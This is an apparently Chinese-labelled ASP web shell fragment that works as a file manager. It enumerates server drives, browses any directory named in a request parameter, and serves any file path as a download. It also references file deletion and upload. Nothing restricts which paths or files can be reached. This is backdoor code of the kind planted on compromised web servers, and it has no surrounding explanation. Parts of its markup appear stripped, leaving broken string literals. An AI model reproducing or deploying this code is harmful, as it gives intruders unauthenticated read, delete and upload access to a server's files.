deleted " &; request("fullpathname")
end if
%>
浏览文件
<%
Set oFS = CreateObject("Scripting.FileSystemObject")
str= Server.MapPath("index.asp")
str=mid(str,1,(len(str)-9))
file=request("file")
if file <> "" then
set objs=CreateObject("adodb.stream")
objs.Type=1
objs.Mode=3
objs.Open
objs.LoadFromFile file
Response.Buffer=false
Response.ContentType="application/octet-stream"
Response.AddHeader "Content-Disposition","attachment;filename=" &; Mid(file,instrrev(file,"\")+1,len(file)-instrrev(file,"\"))
Response.BinaryWrite objs.Read
objs.close
set objs=nothing
response.end
end if
path=request("path")
if path<>"" then
str=path
else
path=str
end if
response.write path &; "
"
Set oFolder = oFS.GetFolder(str)
Set oFiles = oFolder.Files
set odc=oFS.drives
response.write "DRIVE: "
For Each oF in odc
response.write oF.DriveLetter&;"("&; oF.ShareName&;")" &; " "
Next
response.write "
"
For Each oF in oFolder.SubFolders
if path <> "" then
response.write "" &; oF.name &; " [DIR]
"
else
response.write "" &; oF.name &; " [DIR]
"
end if
Next
For Each oF in oFiles
response.write "" &; oF.name &; "" &; "
"
Next
set oFS=nothing
%>
上传文件: